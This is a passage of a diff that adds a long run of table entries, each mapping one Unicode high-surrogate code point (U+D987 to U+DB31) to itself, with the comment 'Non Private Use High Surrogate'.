+ ["\uD987", "\uD987"], /* Non Private Use High Surrogate */
+ ["\uD988", "\uD988"], /* Non Private Use High Surrogate */
+ ["\uD989", "\uD989"], /* Non Private Use High Surrogate */
+ ["\uD98A", "\uD98A"], /* Non Private Use High Surrogate */
+ ["\uD98B", "\uD98B"], /* Non Private Use High Surrogate */
+ ["\uD98C", "\uD98C"], /* Non Private Use High Surrogate */
+ ["\uD98D", "\uD98D"], /* Non Private Use High Surrogate */
+ ["\uD98E", "\uD98E"], /* Non Private Use High Surrogate */
+ ["\uD98F", "\uD98F"], /* Non Private Use High Surrogate */
+ ["\uD990", "\uD990"], /* Non Private Use High Surrogate */
+ ["\uD991", "\uD991"], /* Non Private Use High Surrogate */
+ ["\uD992", "\uD992"], /* Non Private Use High Surrogate */
+ ["\uD993", "\uD993"], /* Non Private Use High Surrogate */
+ ["\uD994", "\uD994"], /* Non Private Use High Surrogate */
+ ["\uD995", "\uD995"], /* Non Private Use High Surrogate */
+ ["\uD996", "\uD996"], /* Non Private Use High Surrogate */
+ ["\uD997", "\uD997"], /* Non Private Use High Surrogate */
+ ["\uD998", "\uD998"], /* Non Private Use High Surrogate */
+ ["\uD999", "\uD999"], /* Non Private Use High Surrogate */
+ ["\uD99A", "\uD99A"], /* Non Private Use High Surrogate */
+ ["\uD99B", "\uD99B"], /* Non Private Use High Surrogate */
+ ["\uD99C", "\uD99C"], /* Non Private Use High Surrogate */
+ ["\uD99D", "\uD99D"], /* Non Private Use High Surrogate */
+ ["\uD99E", "\uD99E"], /* Non Private Use High Surrogate */
+ ["\uD99F", "\uD99F"], /* Non Private Use High Surrogate */
+ ["\uD9A0", "\uD9A0"], /* Non Private Use High Surrogate */
+ ["\uD9A1", "\uD9A1"], /* Non Private Use High Surrogate */
+ ["\uD9A2", "\uD9A2"], /* Non Private Use High Surrogate */
+ ["\uD9A3", "\uD9A3"], /* Non Private Use High Surrogate */
+ ["\uD9A4", "\uD9A4"], /* Non Private Use High Surrogate */
+ ["\uD9A5", "\uD9A5"], /* Non Private Use High Surrogate */
+ ["\uD9A6", "\uD9A6"], /* Non Private Use High Surrogate */
+ ["\uD9A7", "\uD9A7"], /* Non Private Use High Surrogate */
+ ["\uD9A8", "\uD9A8"], /* Non Private Use High Surrogate */
+ ["\uD9A9", "\uD9A9"], /* Non Private Use High Surrogate */
+ ["\uD9AA", "\uD9AA"], /* Non Private Use High Surrogate */
+ ["\uD9AB", "\uD9AB"], /* Non Private Use High Surrogate */
+ ["\uD9AC", "\uD9AC"], /* Non Private Use High Surrogate */
+ ["\uD9AD", "\uD9AD"], /* Non Private Use High Surrogate */
+ ["\uD9AE", "\uD9AE"], /* Non Private Use High Surrogate */
+ ["\uD9AF", "\uD9AF"], /* Non Private Use High Surrogate */
+ ["\uD9B0", "\uD9B0"], /* Non Private Use High Surrogate */
+ ["\uD9B1", "\uD9B1"], /* Non Private Use High Surrogate */
+ ["\uD9B2", "\uD9B2"], /* Non Private Use High Surrogate */
+ ["\uD9B3", "\uD9B3"], /* Non Private Use High Surrogate */
+ ["\uD9B4", "\uD9B4"], /* Non Private Use High Surrogate */
+ ["\uD9B5", "\uD9B5"], /* Non Private Use High Surrogate */
+ ["\uD9B6", "\uD9B6"], /* Non Private Use High Surrogate */
+ ["\uD9B7", "\uD9B7"], /* Non Private Use High Surrogate */
+ ["\uD9B8", "\uD9B8"], /* Non Private Use High Surrogate */
+ ["\uD9B9", "\uD9B9"], /* Non Private Use High Surrogate */
+ ["\uD9BA", "\uD9BA"], /* Non Private Use High Surrogate */
+ ["\uD9BB", "\uD9BB"], /* Non Private Use High Surrogate */
+ ["\uD9BC", "\uD9BC"], /* Non Private Use High Surrogate */
+ ["\uD9BD", "\uD9BD"], /* Non Private Use High Surrogate */
+ ["\uD9BE", "\uD9BE"], /* Non Private Use High Surrogate */
+ ["\uD9BF", "\uD9BF"], /* Non Private Use High Surrogate */
+ ["\uD9C0", "\uD9C0"], /* Non Private Use High Surrogate */
+ ["\uD9C1", "\uD9C1"], /* Non Private Use High Surrogate */
+ ["\uD9C2", "\uD9C2"], /* Non Private Use High Surrogate */
+ ["\uD9C3", "\uD9C3"], /* Non Private Use High Surrogate */
+ ["\uD9C4", "\uD9C4"], /* Non Private Use High Surrogate */
+ ["\uD9C5", "\uD9C5"], /* Non Private Use High Surrogate */
+ ["\uD9C6", "\uD9C6"], /* Non Private Use High Surrogate */
+ ["\uD9C7", "\uD9C7"], /* Non Private Use High Surrogate */
+ ["\uD9C8", "\uD9C8"], /* Non Private Use High Surrogate */
+ ["\uD9C9", "\uD9C9"], /* Non Private Use High Surrogate */
+ ["\uD9CA", "\uD9CA"], /* Non Private Use High Surrogate */
+ ["\uD9CB", "\uD9CB"], /* Non Private Use High Surrogate */
+ ["\uD9CC", "\uD9CC"], /* Non Private Use High Surrogate */
+ ["\uD9CD", "\uD9CD"], /* Non Private Use High Surrogate */
+ ["\uD9CE", "\uD9CE"], /* Non Private Use High Surrogate */
+ ["\uD9CF", "\uD9CF"], /* Non Private Use High Surrogate */
+ ["\uD9D0", "\uD9D0"], /* Non Private Use High Surrogate */
+ ["\uD9D1", "\uD9D1"], /* Non Private Use High Surrogate */
+ ["\uD9D2", "\uD9D2"], /* Non Private Use High Surrogate */
+ ["\uD9D3", "\uD9D3"], /* Non Private Use High Surrogate */
+ ["\uD9D4", "\uD9D4"], /* Non Private Use High Surrogate */
+ ["\uD9D5", "\uD9D5"], /* Non Private Use High Surrogate */
+ ["\uD9D6", "\uD9D6"], /* Non Private Use High Surrogate */
+ ["\uD9D7", "\uD9D7"], /* Non Private Use High Surrogate */
+ ["\uD9D8", "\uD9D8"], /* Non Private Use High Surrogate */
+ ["\uD9D9", "\uD9D9"], /* Non Private Use High Surrogate */
+ ["\uD9DA", "\uD9DA"], /* Non Private Use High Surrogate */
+ ["\uD9DB", "\uD9DB"], /* Non Private Use High Surrogate */
+ ["\uD9DC", "\uD9DC"], /* Non Private Use High Surrogate */
+ ["\uD9DD", "\uD9DD"], /* Non Private Use High Surrogate */
+ ["\uD9DE", "\uD9DE"], /* Non Private Use High Surrogate */
+ ["\uD9DF", "\uD9DF"], /* Non Private Use High Surrogate */
+ ["\uD9E0", "\uD9E0"], /* Non Private Use High Surrogate */
+ ["\uD9E1", "\uD9E1"], /* Non Private Use High Surrogate */
+ ["\uD9E2", "\uD9E2"], /* Non Private Use High Surrogate */
+ ["\uD9E3", "\uD9E3"], /* Non Private Use High Surrogate */
+ ["\uD9E4", "\uD9E4"], /* Non Private Use High Surrogate */
+ ["\uD9E5", "\uD9E5"], /* Non Private Use High Surrogate */
+ ["\uD9E6", "\uD9E6"], /* Non Private Use High Surrogate */
+ ["\uD9E7", "\uD9E7"], /* Non Private Use High Surrogate */
+ ["\uD9E8", "\uD9E8"], /* Non Private Use High Surrogate */
+ ["\uD9E9", "\uD9E9"], /* Non Private Use High Surrogate */
+ ["\uD9EA", "\uD9EA"], /* Non Private Use High Surrogate */
+ ["\uD9EB", "\uD9EB"], /* Non Private Use High Surrogate */
+ ["\uD9EC", "\uD9EC"], /* Non Private Use High Surrogate */
+ ["\uD9ED", "\uD9ED"], /* Non Private Use High Surrogate */
+ ["\uD9EE", "\uD9EE"], /* Non Private Use High Surrogate */
+ ["\uD9EF", "\uD9EF"], /* Non Private Use High Surrogate */
+ ["\uD9F0", "\uD9F0"], /* Non Private Use High Surrogate */
+ ["\uD9F1", "\uD9F1"], /* Non Private Use High Surrogate */
+ ["\uD9F2", "\uD9F2"], /* Non Private Use High Surrogate */
+ ["\uD9F3", "\uD9F3"], /* Non Private Use High Surrogate */
+ ["\uD9F4", "\uD9F4"], /* Non Private Use High Surrogate */
+ ["\uD9F5", "\uD9F5"], /* Non Private Use High Surrogate */
+ ["\uD9F6", "\uD9F6"], /* Non Private Use High Surrogate */
+ ["\uD9F7", "\uD9F7"], /* Non Private Use High Surrogate */
+ ["\uD9F8", "\uD9F8"], /* Non Private Use High Surrogate */
+ ["\uD9F9", "\uD9F9"], /* Non Private Use High Surrogate */
+ ["\uD9FA", "\uD9FA"], /* Non Private Use High Surrogate */
+ ["\uD9FB", "\uD9FB"], /* Non Private Use High Surrogate */
+ ["\uD9FC", "\uD9FC"], /* Non Private Use High Surrogate */
+ ["\uD9FD", "\uD9FD"], /* Non Private Use High Surrogate */
+ ["\uD9FE", "\uD9FE"], /* Non Private Use High Surrogate */
+ ["\uD9FF", "\uD9FF"], /* Non Private Use High Surrogate */
+ ["\uDA00", "\uDA00"], /* Non Private Use High Surrogate */
+ ["\uDA01", "\uDA01"], /* Non Private Use High Surrogate */
+ ["\uDA02", "\uDA02"], /* Non Private Use High Surrogate */
+ ["\uDA03", "\uDA03"], /* Non Private Use High Surrogate */
+ ["\uDA04", "\uDA04"], /* Non Private Use High Surrogate */
+ ["\uDA05", "\uDA05"], /* Non Private Use High Surrogate */
+ ["\uDA06", "\uDA06"], /* Non Private Use High Surrogate */
+ ["\uDA07", "\uDA07"], /* Non Private Use High Surrogate */
+ ["\uDA08", "\uDA08"], /* Non Private Use High Surrogate */
+ ["\uDA09", "\uDA09"], /* Non Private Use High Surrogate */
+ ["\uDA0A", "\uDA0A"], /* Non Private Use High Surrogate */
+ ["\uDA0B", "\uDA0B"], /* Non Private Use High Surrogate */
+ ["\uDA0C", "\uDA0C"], /* Non Private Use High Surrogate */
+ ["\uDA0D", "\uDA0D"], /* Non Private Use High Surrogate */
+ ["\uDA0E", "\uDA0E"], /* Non Private Use High Surrogate */
+ ["\uDA0F", "\uDA0F"], /* Non Private Use High Surrogate */
+ ["\uDA10", "\uDA10"], /* Non Private Use High Surrogate */
+ ["\uDA11", "\uDA11"], /* Non Private Use High Surrogate */
+ ["\uDA12", "\uDA12"], /* Non Private Use High Surrogate */
+ ["\uDA13", "\uDA13"], /* Non Private Use High Surrogate */
+ ["\uDA14", "\uDA14"], /* Non Private Use High Surrogate */
+ ["\uDA15", "\uDA15"], /* Non Private Use High Surrogate */
+ ["\uDA16", "\uDA16"], /* Non Private Use High Surrogate */
+ ["\uDA17", "\uDA17"], /* Non Private Use High Surrogate */
+ ["\uDA18", "\uDA18"], /* Non Private Use High Surrogate */
+ ["\uDA19", "\uDA19"], /* Non Private Use High Surrogate */
+ ["\uDA1A", "\uDA1A"], /* Non Private Use High Surrogate */
+ ["\uDA1B", "\uDA1B"], /* Non Private Use High Surrogate */
+ ["\uDA1C", "\uDA1C"], /* Non Private Use High Surrogate */
+ ["\uDA1D", "\uDA1D"], /* Non Private Use High Surrogate */
+ ["\uDA1E", "\uDA1E"], /* Non Private Use High Surrogate */
+ ["\uDA1F", "\uDA1F"], /* Non Private Use High Surrogate */
+ ["\uDA20", "\uDA20"], /* Non Private Use High Surrogate */
+ ["\uDA21", "\uDA21"], /* Non Private Use High Surrogate */
+ ["\uDA22", "\uDA22"], /* Non Private Use High Surrogate */
+ ["\uDA23", "\uDA23"], /* Non Private Use High Surrogate */
+ ["\uDA24", "\uDA24"], /* Non Private Use High Surrogate */
+ ["\uDA25", "\uDA25"], /* Non Private Use High Surrogate */
+ ["\uDA26", "\uDA26"], /* Non Private Use High Surrogate */
+ ["\uDA27", "\uDA27"], /* Non Private Use High Surrogate */
+ ["\uDA28", "\uDA28"], /* Non Private Use High Surrogate */
+ ["\uDA29", "\uDA29"], /* Non Private Use High Surrogate */
+ ["\uDA2A", "\uDA2A"], /* Non Private Use High Surrogate */
+ ["\uDA2B", "\uDA2B"], /* Non Private Use High Surrogate */
+ ["\uDA2C", "\uDA2C"], /* Non Private Use High Surrogate */
+ ["\uDA2D", "\uDA2D"], /* Non Private Use High Surrogate */
+ ["\uDA2E", "\uDA2E"], /* Non Private Use High Surrogate */
+ ["\uDA2F", "\uDA2F"], /* Non Private Use High Surrogate */
+ ["\uDA30", "\uDA30"], /* Non Private Use High Surrogate */
+ ["\uDA31", "\uDA31"], /* Non Private Use High Surrogate */
+ ["\uDA32", "\uDA32"], /* Non Private Use High Surrogate */
+ ["\uDA33", "\uDA33"], /* Non Private Use High Surrogate */
+ ["\uDA34", "\uDA34"], /* Non Private Use High Surrogate */
+ ["\uDA35", "\uDA35"], /* Non Private Use High Surrogate */
+ ["\uDA36", "\uDA36"], /* Non Private Use High Surrogate */
+ ["\uDA37", "\uDA37"], /* Non Private Use High Surrogate */
+ ["\uDA38", "\uDA38"], /* Non Private Use High Surrogate */
+ ["\uDA39", "\uDA39"], /* Non Private Use High Surrogate */
+ ["\uDA3A", "\uDA3A"], /* Non Private Use High Surrogate */
+ ["\uDA3B", "\uDA3B"], /* Non Private Use High Surrogate */
+ ["\uDA3C", "\uDA3C"], /* Non Private Use High Surrogate */
+ ["\uDA3D", "\uDA3D"], /* Non Private Use High Surrogate */
+ ["\uDA3E", "\uDA3E"], /* Non Private Use High Surrogate */
+ ["\uDA3F", "\uDA3F"], /* Non Private Use High Surrogate */
+ ["\uDA40", "\uDA40"], /* Non Private Use High Surrogate */
+ ["\uDA41", "\uDA41"], /* Non Private Use High Surrogate */
+ ["\uDA42", "\uDA42"], /* Non Private Use High Surrogate */
+ ["\uDA43", "\uDA43"], /* Non Private Use High Surrogate */
+ ["\uDA44", "\uDA44"], /* Non Private Use High Surrogate */
+ ["\uDA45", "\uDA45"], /* Non Private Use High Surrogate */
+ ["\uDA46", "\uDA46"], /* Non Private Use High Surrogate */
+ ["\uDA47", "\uDA47"], /* Non Private Use High Surrogate */
+ ["\uDA48", "\uDA48"], /* Non Private Use High Surrogate */
+ ["\uDA49", "\uDA49"], /* Non Private Use High Surrogate */
+ ["\uDA4A", "\uDA4A"], /* Non Private Use High Surrogate */
+ ["\uDA4B", "\uDA4B"], /* Non Private Use High Surrogate */
+ ["\uDA4C", "\uDA4C"], /* Non Private Use High Surrogate */
+ ["\uDA4D", "\uDA4D"], /* Non Private Use High Surrogate */
+ ["\uDA4E", "\uDA4E"], /* Non Private Use High Surrogate */
+ ["\uDA4F", "\uDA4F"], /* Non Private Use High Surrogate */
+ ["\uDA50", "\uDA50"], /* Non Private Use High Surrogate */
+ ["\uDA51", "\uDA51"], /* Non Private Use High Surrogate */
+ ["\uDA52", "\uDA52"], /* Non Private Use High Surrogate */
+ ["\uDA53", "\uDA53"], /* Non Private Use High Surrogate */
+ ["\uDA54", "\uDA54"], /* Non Private Use High Surrogate */
+ ["\uDA55", "\uDA55"], /* Non Private Use High Surrogate */
+ ["\uDA56", "\uDA56"], /* Non Private Use High Surrogate */
+ ["\uDA57", "\uDA57"], /* Non Private Use High Surrogate */
+ ["\uDA58", "\uDA58"], /* Non Private Use High Surrogate */
+ ["\uDA59", "\uDA59"], /* Non Private Use High Surrogate */
+ ["\uDA5A", "\uDA5A"], /* Non Private Use High Surrogate */
+ ["\uDA5B", "\uDA5B"], /* Non Private Use High Surrogate */
+ ["\uDA5C", "\uDA5C"], /* Non Private Use High Surrogate */
+ ["\uDA5D", "\uDA5D"], /* Non Private Use High Surrogate */
+ ["\uDA5E", "\uDA5E"], /* Non Private Use High Surrogate */
+ ["\uDA5F", "\uDA5F"], /* Non Private Use High Surrogate */
+ ["\uDA60", "\uDA60"], /* Non Private Use High Surrogate */
+ ["\uDA61", "\uDA61"], /* Non Private Use High Surrogate */
+ ["\uDA62", "\uDA62"], /* Non Private Use High Surrogate */
+ ["\uDA63", "\uDA63"], /* Non Private Use High Surrogate */
+ ["\uDA64", "\uDA64"], /* Non Private Use High Surrogate */
+ ["\uDA65", "\uDA65"], /* Non Private Use High Surrogate */
+ ["\uDA66", "\uDA66"], /* Non Private Use High Surrogate */
+ ["\uDA67", "\uDA67"], /* Non Private Use High Surrogate */
+ ["\uDA68", "\uDA68"], /* Non Private Use High Surrogate */
+ ["\uDA69", "\uDA69"], /* Non Private Use High Surrogate */
+ ["\uDA6A", "\uDA6A"], /* Non Private Use High Surrogate */
+ ["\uDA6B", "\uDA6B"], /* Non Private Use High Surrogate */
+ ["\uDA6C", "\uDA6C"], /* Non Private Use High Surrogate */
+ ["\uDA6D", "\uDA6D"], /* Non Private Use High Surrogate */
+ ["\uDA6E", "\uDA6E"], /* Non Private Use High Surrogate */
+ ["\uDA6F", "\uDA6F"], /* Non Private Use High Surrogate */
+ ["\uDA70", "\uDA70"], /* Non Private Use High Surrogate */
+ ["\uDA71", "\uDA71"], /* Non Private Use High Surrogate */
+ ["\uDA72", "\uDA72"], /* Non Private Use High Surrogate */
+ ["\uDA73", "\uDA73"], /* Non Private Use High Surrogate */
+ ["\uDA74", "\uDA74"], /* Non Private Use High Surrogate */
+ ["\uDA75", "\uDA75"], /* Non Private Use High Surrogate */
+ ["\uDA76", "\uDA76"], /* Non Private Use High Surrogate */
+ ["\uDA77", "\uDA77"], /* Non Private Use High Surrogate */
+ ["\uDA78", "\uDA78"], /* Non Private Use High Surrogate */
+ ["\uDA79", "\uDA79"], /* Non Private Use High Surrogate */
+ ["\uDA7A", "\uDA7A"], /* Non Private Use High Surrogate */
+ ["\uDA7B", "\uDA7B"], /* Non Private Use High Surrogate */
+ ["\uDA7C", "\uDA7C"], /* Non Private Use High Surrogate */
+ ["\uDA7D", "\uDA7D"], /* Non Private Use High Surrogate */
+ ["\uDA7E", "\uDA7E"], /* Non Private Use High Surrogate */
+ ["\uDA7F", "\uDA7F"], /* Non Private Use High Surrogate */
+ ["\uDA80", "\uDA80"], /* Non Private Use High Surrogate */
+ ["\uDA81", "\uDA81"], /* Non Private Use High Surrogate */
+ ["\uDA82", "\uDA82"], /* Non Private Use High Surrogate */
+ ["\uDA83", "\uDA83"], /* Non Private Use High Surrogate */
+ ["\uDA84", "\uDA84"], /* Non Private Use High Surrogate */
+ ["\uDA85", "\uDA85"], /* Non Private Use High Surrogate */
+ ["\uDA86", "\uDA86"], /* Non Private Use High Surrogate */
+ ["\uDA87", "\uDA87"], /* Non Private Use High Surrogate */
+ ["\uDA88", "\uDA88"], /* Non Private Use High Surrogate */
+ ["\uDA89", "\uDA89"], /* Non Private Use High Surrogate */
+ ["\uDA8A", "\uDA8A"], /* Non Private Use High Surrogate */
+ ["\uDA8B", "\uDA8B"], /* Non Private Use High Surrogate */
+ ["\uDA8C", "\uDA8C"], /* Non Private Use High Surrogate */
+ ["\uDA8D", "\uDA8D"], /* Non Private Use High Surrogate */
+ ["\uDA8E", "\uDA8E"], /* Non Private Use High Surrogate */
+ ["\uDA8F", "\uDA8F"], /* Non Private Use High Surrogate */
+ ["\uDA90", "\uDA90"], /* Non Private Use High Surrogate */
+ ["\uDA91", "\uDA91"], /* Non Private Use High Surrogate */
+ ["\uDA92", "\uDA92"], /* Non Private Use High Surrogate */
+ ["\uDA93", "\uDA93"], /* Non Private Use High Surrogate */
+ ["\uDA94", "\uDA94"], /* Non Private Use High Surrogate */
+ ["\uDA95", "\uDA95"], /* Non Private Use High Surrogate */
+ ["\uDA96", "\uDA96"], /* Non Private Use High Surrogate */
+ ["\uDA97", "\uDA97"], /* Non Private Use High Surrogate */
+ ["\uDA98", "\uDA98"], /* Non Private Use High Surrogate */
+ ["\uDA99", "\uDA99"], /* Non Private Use High Surrogate */
+ ["\uDA9A", "\uDA9A"], /* Non Private Use High Surrogate */
+ ["\uDA9B", "\uDA9B"], /* Non Private Use High Surrogate */
+ ["\uDA9C", "\uDA9C"], /* Non Private Use High Surrogate */
+ ["\uDA9D", "\uDA9D"], /* Non Private Use High Surrogate */
+ ["\uDA9E", "\uDA9E"], /* Non Private Use High Surrogate */
+ ["\uDA9F", "\uDA9F"], /* Non Private Use High Surrogate */
+ ["\uDAA0", "\uDAA0"], /* Non Private Use High Surrogate */
+ ["\uDAA1", "\uDAA1"], /* Non Private Use High Surrogate */
+ ["\uDAA2", "\uDAA2"], /* Non Private Use High Surrogate */
+ ["\uDAA3", "\uDAA3"], /* Non Private Use High Surrogate */
+ ["\uDAA4", "\uDAA4"], /* Non Private Use High Surrogate */
+ ["\uDAA5", "\uDAA5"], /* Non Private Use High Surrogate */
+ ["\uDAA6", "\uDAA6"], /* Non Private Use High Surrogate */
+ ["\uDAA7", "\uDAA7"], /* Non Private Use High Surrogate */
+ ["\uDAA8", "\uDAA8"], /* Non Private Use High Surrogate */
+ ["\uDAA9", "\uDAA9"], /* Non Private Use High Surrogate */
+ ["\uDAAA", "\uDAAA"], /* Non Private Use High Surrogate */
+ ["\uDAAB", "\uDAAB"], /* Non Private Use High Surrogate */
+ ["\uDAAC", "\uDAAC"], /* Non Private Use High Surrogate */
+ ["\uDAAD", "\uDAAD"], /* Non Private Use High Surrogate */
+ ["\uDAAE", "\uDAAE"], /* Non Private Use High Surrogate */
+ ["\uDAAF", "\uDAAF"], /* Non Private Use High Surrogate */
+ ["\uDAB0", "\uDAB0"], /* Non Private Use High Surrogate */
+ ["\uDAB1", "\uDAB1"], /* Non Private Use High Surrogate */
+ ["\uDAB2", "\uDAB2"], /* Non Private Use High Surrogate */
+ ["\uDAB3", "\uDAB3"], /* Non Private Use High Surrogate */
+ ["\uDAB4", "\uDAB4"], /* Non Private Use High Surrogate */
+ ["\uDAB5", "\uDAB5"], /* Non Private Use High Surrogate */
+ ["\uDAB6", "\uDAB6"], /* Non Private Use High Surrogate */
+ ["\uDAB7", "\uDAB7"], /* Non Private Use High Surrogate */
+ ["\uDAB8", "\uDAB8"], /* Non Private Use High Surrogate */
+ ["\uDAB9", "\uDAB9"], /* Non Private Use High Surrogate */
+ ["\uDABA", "\uDABA"], /* Non Private Use High Surrogate */
+ ["\uDABB", "\uDABB"], /* Non Private Use High Surrogate */
+ ["\uDABC", "\uDABC"], /* Non Private Use High Surrogate */
+ ["\uDABD", "\uDABD"], /* Non Private Use High Surrogate */
+ ["\uDABE", "\uDABE"], /* Non Private Use High Surrogate */
+ ["\uDABF", "\uDABF"], /* Non Private Use High Surrogate */
+ ["\uDAC0", "\uDAC0"], /* Non Private Use High Surrogate */
+ ["\uDAC1", "\uDAC1"], /* Non Private Use High Surrogate */
+ ["\uDAC2", "\uDAC2"], /* Non Private Use High Surrogate */
+ ["\uDAC3", "\uDAC3"], /* Non Private Use High Surrogate */
+ ["\uDAC4", "\uDAC4"], /* Non Private Use High Surrogate */
+ ["\uDAC5", "\uDAC5"], /* Non Private Use High Surrogate */
+ ["\uDAC6", "\uDAC6"], /* Non Private Use High Surrogate */
+ ["\uDAC7", "\uDAC7"], /* Non Private Use High Surrogate */
+ ["\uDAC8", "\uDAC8"], /* Non Private Use High Surrogate */
+ ["\uDAC9", "\uDAC9"], /* Non Private Use High Surrogate */
+ ["\uDACA", "\uDACA"], /* Non Private Use High Surrogate */
+ ["\uDACB", "\uDACB"], /* Non Private Use High Surrogate */
+ ["\uDACC", "\uDACC"], /* Non Private Use High Surrogate */
+ ["\uDACD", "\uDACD"], /* Non Private Use High Surrogate */
+ ["\uDACE", "\uDACE"], /* Non Private Use High Surrogate */
+ ["\uDACF", "\uDACF"], /* Non Private Use High Surrogate */
+ ["\uDAD0", "\uDAD0"], /* Non Private Use High Surrogate */
+ ["\uDAD1", "\uDAD1"], /* Non Private Use High Surrogate */
+ ["\uDAD2", "\uDAD2"], /* Non Private Use High Surrogate */
+ ["\uDAD3", "\uDAD3"], /* Non Private Use High Surrogate */
+ ["\uDAD4", "\uDAD4"], /* Non Private Use High Surrogate */
+ ["\uDAD5", "\uDAD5"], /* Non Private Use High Surrogate */
+ ["\uDAD6", "\uDAD6"], /* Non Private Use High Surrogate */
+ ["\uDAD7", "\uDAD7"], /* Non Private Use High Surrogate */
+ ["\uDAD8", "\uDAD8"], /* Non Private Use High Surrogate */
+ ["\uDAD9", "\uDAD9"], /* Non Private Use High Surrogate */
+ ["\uDADA", "\uDADA"], /* Non Private Use High Surrogate */
+ ["\uDADB", "\uDADB"], /* Non Private Use High Surrogate */
+ ["\uDADC", "\uDADC"], /* Non Private Use High Surrogate */
+ ["\uDADD", "\uDADD"], /* Non Private Use High Surrogate */
+ ["\uDADE", "\uDADE"], /* Non Private Use High Surrogate */
+ ["\uDADF", "\uDADF"], /* Non Private Use High Surrogate */
+ ["\uDAE0", "\uDAE0"], /* Non Private Use High Surrogate */
+ ["\uDAE1", "\uDAE1"], /* Non Private Use High Surrogate */
+ ["\uDAE2", "\uDAE2"], /* Non Private Use High Surrogate */
+ ["\uDAE3", "\uDAE3"], /* Non Private Use High Surrogate */
+ ["\uDAE4", "\uDAE4"], /* Non Private Use High Surrogate */
+ ["\uDAE5", "\uDAE5"], /* Non Private Use High Surrogate */
+ ["\uDAE6", "\uDAE6"], /* Non Private Use High Surrogate */
+ ["\uDAE7", "\uDAE7"], /* Non Private Use High Surrogate */
+ ["\uDAE8", "\uDAE8"], /* Non Private Use High Surrogate */
+ ["\uDAE9", "\uDAE9"], /* Non Private Use High Surrogate */
+ ["\uDAEA", "\uDAEA"], /* Non Private Use High Surrogate */
+ ["\uDAEB", "\uDAEB"], /* Non Private Use High Surrogate */
+ ["\uDAEC", "\uDAEC"], /* Non Private Use High Surrogate */
+ ["\uDAED", "\uDAED"], /* Non Private Use High Surrogate */
+ ["\uDAEE", "\uDAEE"], /* Non Private Use High Surrogate */
+ ["\uDAEF", "\uDAEF"], /* Non Private Use High Surrogate */
+ ["\uDAF0", "\uDAF0"], /* Non Private Use High Surrogate */
+ ["\uDAF1", "\uDAF1"], /* Non Private Use High Surrogate */
+ ["\uDAF2", "\uDAF2"], /* Non Private Use High Surrogate */
+ ["\uDAF3", "\uDAF3"], /* Non Private Use High Surrogate */
+ ["\uDAF4", "\uDAF4"], /* Non Private Use High Surrogate */
+ ["\uDAF5", "\uDAF5"], /* Non Private Use High Surrogate */
+ ["\uDAF6", "\uDAF6"], /* Non Private Use High Surrogate */
+ ["\uDAF7", "\uDAF7"], /* Non Private Use High Surrogate */
+ ["\uDAF8", "\uDAF8"], /* Non Private Use High Surrogate */
+ ["\uDAF9", "\uDAF9"], /* Non Private Use High Surrogate */
+ ["\uDAFA", "\uDAFA"], /* Non Private Use High Surrogate */
+ ["\uDAFB", "\uDAFB"], /* Non Private Use High Surrogate */
+ ["\uDAFC", "\uDAFC"], /* Non Private Use High Surrogate */
+ ["\uDAFD", "\uDAFD"], /* Non Private Use High Surrogate */
+ ["\uDAFE", "\uDAFE"], /* Non Private Use High Surrogate */
+ ["\uDAFF", "\uDAFF"], /* Non Private Use High Surrogate */
+ ["\uDB00", "\uDB00"], /* Non Private Use High Surrogate */
+ ["\uDB01", "\uDB01"], /* Non Private Use High Surrogate */
+ ["\uDB02", "\uDB02"], /* Non Private Use High Surrogate */
+ ["\uDB03", "\uDB03"], /* Non Private Use High Surrogate */
+ ["\uDB04", "\uDB04"], /* Non Private Use High Surrogate */
+ ["\uDB05", "\uDB05"], /* Non Private Use High Surrogate */
+ ["\uDB06", "\uDB06"], /* Non Private Use High Surrogate */
+ ["\uDB07", "\uDB07"], /* Non Private Use High Surrogate */
+ ["\uDB08", "\uDB08"], /* Non Private Use High Surrogate */
+ ["\uDB09", "\uDB09"], /* Non Private Use High Surrogate */
+ ["\uDB0A", "\uDB0A"], /* Non Private Use High Surrogate */
+ ["\uDB0B", "\uDB0B"], /* Non Private Use High Surrogate */
+ ["\uDB0C", "\uDB0C"], /* Non Private Use High Surrogate */
+ ["\uDB0D", "\uDB0D"], /* Non Private Use High Surrogate */
+ ["\uDB0E", "\uDB0E"], /* Non Private Use High Surrogate */
+ ["\uDB0F", "\uDB0F"], /* Non Private Use High Surrogate */
+ ["\uDB10", "\uDB10"], /* Non Private Use High Surrogate */
+ ["\uDB11", "\uDB11"], /* Non Private Use High Surrogate */
+ ["\uDB12", "\uDB12"], /* Non Private Use High Surrogate */
+ ["\uDB13", "\uDB13"], /* Non Private Use High Surrogate */
+ ["\uDB14", "\uDB14"], /* Non Private Use High Surrogate */
+ ["\uDB15", "\uDB15"], /* Non Private Use High Surrogate */
+ ["\uDB16", "\uDB16"], /* Non Private Use High Surrogate */
+ ["\uDB17", "\uDB17"], /* Non Private Use High Surrogate */
+ ["\uDB18", "\uDB18"], /* Non Private Use High Surrogate */
+ ["\uDB19", "\uDB19"], /* Non Private Use High Surrogate */
+ ["\uDB1A", "\uDB1A"], /* Non Private Use High Surrogate */
+ ["\uDB1B", "\uDB1B"], /* Non Private Use High Surrogate */
+ ["\uDB1C", "\uDB1C"], /* Non Private Use High Surrogate */
+ ["\uDB1D", "\uDB1D"], /* Non Private Use High Surrogate */
+ ["\uDB1E", "\uDB1E"], /* Non Private Use High Surrogate */
+ ["\uDB1F", "\uDB1F"], /* Non Private Use High Surrogate */
+ ["\uDB20", "\uDB20"], /* Non Private Use High Surrogate */
+ ["\uDB21", "\uDB21"], /* Non Private Use High Surrogate */
+ ["\uDB22", "\uDB22"], /* Non Private Use High Surrogate */
+ ["\uDB23", "\uDB23"], /* Non Private Use High Surrogate */
+ ["\uDB24", "\uDB24"], /* Non Private Use High Surrogate */
+ ["\uDB25", "\uDB25"], /* Non Private Use High Surrogate */
+ ["\uDB26", "\uDB26"], /* Non Private Use High Surrogate */
+ ["\uDB27", "\uDB27"], /* Non Private Use High Surrogate */
+ ["\uDB28", "\uDB28"], /* Non Private Use High Surrogate */
+ ["\uDB29", "\uDB29"], /* Non Private Use High Surrogate */
+ ["\uDB2A", "\uDB2A"], /* Non Private Use High Surrogate */
+ ["\uDB2B", "\uDB2B"], /* Non Private Use High Surrogate */
+ ["\uDB2C", "\uDB2C"], /* Non Private Use High Surrogate */
+ ["\uDB2D", "\uDB2D"], /* Non Private Use High Surrogate */
+ ["\uDB2E", "\uDB2E"], /* Non Private Use High Surrogate */
+ ["\uDB2F", "\uDB2F"], /* Non Private Use High Surrogate */
+ ["\uDB30", "\uDB30"], /* Non Private Use High Surrogate */
+ ["\uDB31", "\uDB31"], /* Non Private Use High Surrogate */
